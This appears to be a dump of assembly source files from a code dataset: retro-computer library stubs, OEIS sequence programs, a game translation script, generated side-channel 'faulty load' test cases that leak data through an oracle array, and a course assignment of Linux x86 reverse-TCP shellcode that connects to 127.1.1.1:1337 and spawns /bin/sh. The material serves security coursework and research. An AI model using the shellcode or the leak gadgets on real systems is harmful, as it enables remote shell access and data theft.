2022-03-31T12:11:12.000Z
libsrc/target/homelab/stdio/getk.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_clib PUBLIC getk PUBLIC _getk getk: _getk: call $85 ld l,a ld h,0 ret
6.714286
18
0.670213
237f735232a19b9fed17fc46d6cee6a1bdb05c14
321
asm
Assembly
programs/oeis/182/A182773.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/182/A182773.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/182/A182773.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A182773: Beatty sequence for 1+2^(2/3). ; 2,5,7,10,12,15,18,20,23,25,28,31,33,36,38,41,43,46,49,51,54,56,59,62,64,67,69,72,75,77,80,82,85,87,90,93,95,98,100,103,106,108,111,113,116,119,121,124,126,129,131,134,137,139,142 mov $4,$0 add $0,6 mov $3,10 mul $3,$0 div $3,17 mov $1,$3 sub $1,1 mov $2,$4 mul $2,2 add $1,$2
22.928571
180
0.635514
7dfc1ade45adf1758047bc9f8d34c87cc5059a74
165
asm
Assembly
libsrc/target/rx78/graphics/plotpixl.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/target/rx78/graphics/plotpixl.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/target/rx78/graphics/plotpixl.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; ; Plot pixel at (x,y) coordinate. SECTION code_clib PUBLIC plotpixel defc NEEDplot = 1 .plotpixel INCLUDE "pixel.inc"
11
37
0.551515
078e1850a2a1da7ba9a444f9905babae36c26f24
625
asm
Assembly
oeis/157/A157838.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/157/A157838.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/157/A157838.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A157838: 3600n^2 - 6049n + 2541. ; 92,4843,16794,35945,62296,95847,136598,184549,239700,302051,371602,448353,532304,623455,721806,827357,940108,1060059,1187210,1321561,1463112,1611863,1767814,1930965,2101316,2278867,2463618,2655569,2854720,3061071,3274622,3495373,3723324,3958475,4200826,4450377,4707128,4971079,5242230,5520581,5806132,6098883,6398834,6705985,7020336,7341887,7670638,8006589,8349740,8700091,9057642,9422393,9794344,10173495,10559846,10953397,11354148,11762099,12177250,12599601,13029152,13465903,13909854,14361005 seq $0,157839 ; 1728000n - 1451760. pow $0,2 sub $0,76308537600 div $0,829440000 add $0,92
69.444444
497
0.8288
3c04c034fa8482eb15abf981f7266be918f6caae
582
asm
Assembly
oeis/013/A013748.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/013/A013748.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/013/A013748.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A013748: a(n) = 11^(3*n + 1). ; 11,14641,19487171,25937424601,34522712143931,45949729863572161,61159090448414546291,81402749386839761113321,108347059433883722041830251,144209936106499234037676064081,191943424957750480504146841291811,255476698618765889551019445759400441,340039485861577398992406882305761986971,452592555681759518058893560348969204658401,602400691612421918536387328824478011400331731,801795320536133573571931534665380233173841533961,1067189571633593786424240872639621090354383081702091 mov $1,1331 pow $1,$0 mul $1,36 div $1,47880 mul $1,14630 add $1,11 mov $0,$1
52.909091
470
0.883162
54bcde011100cf94abebba2e76b9195de6a701e6
4,986
asm
Assembly
Transynther/x86/_processed/NC/_ht_zr_/i7-8650U_0xd2.log_15843_938.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_ht_zr_/i7-8650U_0xd2.log_15843_938.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_ht_zr_/i7-8650U_0xd2.log_15843_938.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r15 push %r9 push %rcx push %rdi push %rsi lea addresses_normal_ht+0x6f15, %rsi lea addresses_WT_ht+0x18f79, %rdi clflush (%rsi) add $51399, %r12 mov $31, %rcx rep movsw nop nop nop nop add %rsi, %rsi lea addresses_WT_ht+0xfe, %rcx clflush (%rcx) nop nop nop nop nop add %r12, %r12 mov $0x6162636465666768, %r15 movq %r15, %xmm0 movups %xmm0, (%rcx) and $61552, %r12 lea addresses_D_ht+0x9921, %rsi lea addresses_D_ht+0x76a1, %rdi nop nop nop nop lfence mov $34, %rcx rep movsb nop nop nop sub $42120, %rsi pop %rsi pop %rdi pop %rcx pop %r9 pop %r15 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r15 push %r8 push %r9 push %rdx // Store lea addresses_RW+0x11721, %rdx nop nop nop nop cmp %r10, %r10 movw $0x5152, (%rdx) nop sub %r15, %r15 // Faulty Load mov $0x76379e0000000521, %r8 nop nop inc %rdx vmovups (%r8), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $1, %xmm1, %r15 lea oracles, %rdx and $0xff, %r15 shlq $12, %r15 mov (%rdx,%r15,1), %r15 pop %rdx pop %r9 pop %r8 pop %r15 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}} {'46': 15841, '00': 2} 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 */
46.598131
2,999
0.661853
458b55c91ed8894cd05d5914c063e562fea9ed11
557
asm
Assembly
oeis/017/A017472.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/017/A017472.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/017/A017472.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A017472: a(n) = (11*n + 6)^12. ; 2176782336,582622237229761,232218265089212416,12381557655576425121,244140625000000000000,2654348974297586158321,19408409961765342806016,106890007738661124410161,475920314814253376475136,1795856326022129150390625,5936027041831326482169856,17605349516220764271966721,47703367363695867545849856,119738888098469732352733201,281474976710656000000000000,625105506678337880602119441,1320859596446125189798629376,2671084997624767126594464001,5194718390528185623763746816,9755769237612933691650390625 mul $0,11 add $0,6 pow $0,12
79.571429
493
0.904847
d41a88972a186c4b608be4bbb9fb3a199dd5b0be
576
asm
Assembly
iod/par/io.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
iod/par/io.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
iod/par/io.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
; PAR IO operations V2.02  1989 Tony Tebby QJUMP section par xdef par_io xref iob_iox include 'dev8_keys_par' ;+++ ; PAR device IO operations. ; All IO operations are handled by the buffered serial IO routine IOB_IOXL. ; On every output, the routine PAR_ACTV is called to ensure that the ; data from the queue is being transmitted. ;--- par_io lea prc_ibuf(a0),a2 ; point to IO queue/buffer pointers moveq #1,d7 and.w prc_xlat(a0),d7 ror.l #1,d7 ; set translate flag move.w prc_lfcr(a0),d7 lsl.w #8,d7 jmp iob_iox ; buffered IO with XLATE end
22.153846
75
0.711806
cb5b87923fddfce073f279af8e4ab2136af2ca7a
1,093
asm
Assembly
programs/oeis/008/A008857.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/008/A008857.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/008/A008857.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A008857: a(n) = floor(n/9)*ceiling(n/9). ; 0,0,0,0,0,0,0,0,0,1,2,2,2,2,2,2,2,2,4,6,6,6,6,6,6,6,6,9,12,12,12,12,12,12,12,12,16,20,20,20,20,20,20,20,20,25,30,30,30,30,30,30,30,30,36,42,42,42,42,42,42,42,42,49,56,56,56,56,56,56,56,56,64,72,72,72,72,72,72,72,72,81,90,90,90,90,90,90,90,90,100,110,110,110,110,110,110,110,110,121,132,132,132,132,132,132,132,132,144,156,156,156,156,156,156,156,156,169,182,182,182,182,182,182,182,182,196,210,210,210,210,210,210,210,210,225,240,240,240,240,240,240,240,240,256,272,272,272,272,272,272,272,272,289,306,306,306,306,306,306,306,306,324,342,342,342,342,342,342,342,342,361,380,380,380,380,380,380,380,380,400,420,420,420,420,420,420,420,420,441,462,462,462,462,462,462,462,462,484,506,506,506,506,506,506,506,506,529,552,552,552,552,552,552,552,552,576,600,600,600,600,600,600,600,600,625,650,650,650,650,650,650,650,650,676,702,702,702,702,702,702,702,702,729,756,756,756,756,756,756 mov $2,$0 mov $3,$0 lpb $3 mov $0,$2 sub $3,1 sub $0,$3 mov $5,$0 mod $0,9 div $5,3 lpb $0 mov $0,1 pow $5,$4 lpe div $5,3 add $1,$5 lpe
54.65
883
0.668801
000dacd65cdfcbf373d048b314e51241bba52efc
2,642
asm
Assembly
asm/script/story/episode_7/script.asm
h3rmit-git/F-Zero-Climax-GBA-Translation
233901558ce721b75d643872bfa89cdebef8cd0a
[ "MIT", "Unlicense" ]
6
2019-05-15T09:08:51.000Z
2021-11-01T18:40:10.000Z
asm/script/story/episode_7/script.asm
h3rmit-git/F-Zero-Climax-GBA-Translation
233901558ce721b75d643872bfa89cdebef8cd0a
[ "MIT", "Unlicense" ]
2
2019-05-21T11:34:55.000Z
2019-06-11T09:53:02.000Z
asm/script/story/episode_7/script.asm
h3rmit-git/F-Zero-Climax-GBA-Translation
233901558ce721b75d643872bfa89cdebef8cd0a
[ "MIT", "Unlicense" ]
4
2017-03-04T07:07:05.000Z
2021-11-15T15:28:38.000Z
; F-Zero Climax Translation by Normmatt .align 4 StoryEpisode7PointerList: .word Episode7_Line1 .word Episode7_Line2 .word Episode7_Line3 .word Episode7_Line4 .word Episode7_Line5 .word Episode7_Line6 .word Episode7_Line7 .word Episode7_Line8 .word Episode7_Line9 .word Episode7_Line10 .word Episode7_Line11 .word Episode7_Line12 .word Episode7_Line13 .word Episode7_Line14 .word Episode7_Line15 .word Episode7_Line16 .word Episode7_Line17 .word Episode7_Line18 .word Episode7_Line19 .word Episode7_Line20 .word Episode7_Line21 .word Episode7_Line22 .word Episode7_Line23 .word Episode7_Line24 .word Episode7_Line25 .word Episode7_Line26 .word Episode7_Line27 .word Episode7_Line28 .word Episode7_Line29 .word EOF .word EOF Episode7_Line1: .ascii "Returning home from a race, Ryu" TextEnd Episode7_Line2: .ascii "sees a couple (named 'Cometrue'" TextEnd Episode7_Line3: .ascii "and 'Dream') in a luxurious car" TextEnd Episode7_Line4: .ascii "surrounded by gangsters. He" TextEnd Episode7_Line5: .ascii "rescues them and they invite him" TextEnd Episode7_Line6: .ascii "to their house in thanks." TextEnd Episode7_Line7: .ascii "But Cometrue locks Ryu in the" TextEnd Episode7_Line8: .ascii "house. He had been ordered by" TextEnd Episode7_Line9: .ascii "Michael Chain, leader of the" TextEnd Episode7_Line10: .ascii "gang, to trap him. Michael" TextEnd Episode7_Line11: .ascii "wanted the elite pilots out of" TextEnd Episode7_Line12: .ascii "the race so that he could win" TextEnd Episode7_Line13: .ascii "the" TextEnd Episode7_Line14: .ascii "prize money. Cometrue was" TextEnd Episode7_Line15: .ascii "obeying him because he wanted to" TextEnd Episode7_Line16: .ascii "marry Dream and have an" TextEnd Episode7_Line17: .ascii "affluent life with her. But in" TextEnd Episode7_Line18: .ascii "fact, Dream didn't need luxury;" TextEnd Episode7_Line19: .ascii "she just wanted to be with" TextEnd Episode7_Line20: .ascii "Cometrue. She convinced" TextEnd Episode7_Line21: .ascii "Cometrue to set Ryu free." TextEnd Episode7_Line22: .ascii "But then, Michael came to attack" TextEnd Episode7_Line23: .ascii "them. Fortunately, Ryu got rid" TextEnd Episode7_Line24: .ascii "of him." TextEnd Episode7_Line25: .ascii "Cometrue and Dream were able to" TextEnd Episode7_Line26: .ascii "marry without the hopes for a" TextEnd Episode7_Line27: .ascii "luxurious life. but as it turned" TextEnd Episode7_Line28: .ascii "out, Dream was the daughter of" TextEnd Episode7_Line29: .ascii "a rich family." TextEnd ; make sure to leave an empty line at the end
20.80315
46
0.776306
cb21294fca70c8860200866e69d0774a356c7642
2,239
nasm
Assembly
assignment-2/linux_x86_shell_reverse_tcp.nasm
rcesecurity/slae
32c877607490f5ca3a935ff5c6b7786526da9d0e
[ "MIT" ]
8
2015-09-20T08:45:34.000Z
2020-12-25T13:05:57.000Z
assignment-2/linux_x86_shell_reverse_tcp.nasm
rcesecurity/slae
32c877607490f5ca3a935ff5c6b7786526da9d0e
[ "MIT" ]
null
null
null
assignment-2/linux_x86_shell_reverse_tcp.nasm
rcesecurity/slae
32c877607490f5ca3a935ff5c6b7786526da9d0e
[ "MIT" ]
6
2015-05-18T20:56:31.000Z
2020-04-26T22:54:19.000Z
; SLAE - Assignment #2: Shell Reverse TCP Shellcode (Linux/x86) ; Author: Julien Ahrens (@MrTuxracer) ; Website: http://www.rcesecurity.com global _start section .text _start: ; ; int socketcall(int call, unsigned long *args); ; sockfd = socket(int socket_family, int socket_type, int protocol); ; push 0x66 pop eax ;syscall: sys_socketcall + cleanup eax push 0x1 pop ebx ;sys_socket (0x1) + cleanup ebx xor edx,edx ;cleanup edx push edx ;protocol=IPPROTO_IP (0x0) push ebx ;socket_type=SOCK_STREAM (0x1) push 0x2 ;socket_family=AF_INET (0x2) mov ecx, esp ;save pointer to socket() args int 0x80 ;exec sys_socket xchg edx, eax; save result (sockfd) for later usage ; ; int socketcall(int call, unsigned long *args); ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); ; mov al, 0x66 ;struct sockaddr_in { ; __kernel_sa_family_t sin_family; /* Address family */ ; __be16 sin_port; /* Port number */ ; struct in_addr sin_addr; /* Internet address */ ;}; push 0x0101017f ;sin_addr=127.1.1.1 (network byte order) push word 0x3905 ;sin_port=1337 (network byte order) inc ebx push word bx ;sin_family=AF_INET (0x2) mov ecx, esp ;save pointer to sockaddr struct push 0x10 ;addrlen=16 push ecx ;pointer to sockaddr push edx ;sockfd mov ecx, esp ;save pointer to sockaddr_in struct inc ebx ; sys_connect (0x3) int 0x80 ;exec sys_connect ; ; int socketcall(int call, unsigned long *args); ; int dup2(int oldfd, int newfd); ; push 0x2 pop ecx ;set loop-counter xchg ebx,edx ;save sockfd ; loop through three sys_dup2 calls to redirect stdin(0), stdout(1) and stderr(2) loop: mov al, 0x3f ;syscall: sys_dup2 int 0x80 ;exec sys_dup2 dec ecx ;decrement loop-counter jns loop ;as long as SF is not set -> jmp to loop ; ; int execve(const char *filename, char *const argv[],char *const envp[]); ; mov al, 0x0b ; syscall: sys_execve inc ecx ;argv=0 mov edx,ecx ;envp=0 push edx ;terminating NULL push 0x68732f2f ;"hs//" push 0x6e69622f ;"nib/" mov ebx, esp ;save pointer to filename int 0x80 ; exec sys_execve
24.877778
81
0.671282
f5ce0f4146f697d63f496fbcfd030947c4e2b4b0
116
asm
Assembly
anotherWayDiv.asm
mehedi432/assembly
844bd4f3e723e082f38c092b4fc3a9750b1f5092
[ "MIT" ]
null
null
null
anotherWayDiv.asm
mehedi432/assembly
844bd4f3e723e082f38c092b4fc3a9750b1f5092
[ "MIT" ]
null
null
null
anotherWayDiv.asm
mehedi432/assembly
844bd4f3e723e082f38c092b4fc3a9750b1f5092
[ "MIT" ]
null
null
null
.data .text addi $t0, $zero, 20 div $t1, $t0, 10 # Print to the console li $v0, 1 move $a0, $t1 syscall
12.888889
25
0.568966
ca2af0ede4f9c7611a654bbb38a3172f39eb3f4c
6,579
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_16599_207.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_16599_207.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_16599_207.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r14 push %r15 push %r8 push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0xf0b7, %rsi lea addresses_D_ht+0x74b7, %rdi nop nop nop nop and %r11, %r11 mov $0, %rcx rep movsb nop nop nop add %rbx, %rbx lea addresses_A_ht+0x18b7, %rsi lea addresses_A_ht+0x11cb7, %rdi add %r8, %r8 mov $59, %rcx rep movsq nop nop inc %rsi lea addresses_UC_ht+0xc4b7, %rsi lea addresses_normal_ht+0x1383f, %rdi nop nop nop nop nop sub $43125, %r15 mov $79, %rcx rep movsq nop nop nop inc %r15 lea addresses_normal_ht+0xfb37, %rsi lea addresses_D_ht+0x193f7, %rdi nop nop nop nop nop dec %r14 mov $92, %rcx rep movsw xor %rdi, %rdi lea addresses_A_ht+0x1ee77, %rsi lea addresses_D_ht+0x7cb7, %rdi clflush (%rsi) clflush (%rdi) nop inc %rbx mov $14, %rcx rep movsl nop nop add $14111, %rbx lea addresses_D_ht+0xcf7, %r14 nop nop nop nop lfence mov (%r14), %r15w nop nop mfence pop %rsi pop %rdi pop %rcx pop %rbx pop %r8 pop %r15 pop %r14 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r15 push %rax push %rcx push %rdi push %rdx push %rsi // Load mov $0x1b7, %rsi nop nop add %rdx, %rdx movb (%rsi), %r14b and %r14, %r14 // Store lea addresses_PSE+0x1a0b7, %r15 nop nop nop nop nop sub %r12, %r12 movb $0x51, (%r15) nop nop nop nop add $2428, %rax // REPMOV lea addresses_PSE+0xbd3a, %rsi lea addresses_A+0x15037, %rdi nop nop inc %r15 mov $4, %rcx rep movsb nop sub $45278, %r12 // Store lea addresses_WT+0x1deb, %r14 sub %rdx, %rdx mov $0x5152535455565758, %rdi movq %rdi, %xmm2 movups %xmm2, (%r14) nop nop cmp %rcx, %rcx // Faulty Load lea addresses_RW+0xa8b7, %rdx nop add %rdi, %rdi movups (%rdx), %xmm5 vpextrq $0, %xmm5, %rax lea oracles, %rdx and $0xff, %rax shlq $12, %rax mov (%rdx,%rax,1), %rax pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r15 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_RW', 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_P', 'congruent': 8}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_PSE', 'congruent': 11}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 5, 'type': 'addresses_A'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_PSE'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT', 'congruent': 2}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_RW', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_WT_ht'}} {'dst': {'same': False, 'congruent': 8, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}} {'dst': {'same': False, 'congruent': 1, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_UC_ht'}} {'dst': {'same': False, 'congruent': 6, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_normal_ht'}} {'dst': {'same': False, 'congruent': 10, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 3, 'type': 'addresses_A_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 3}} {'32': 16599} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 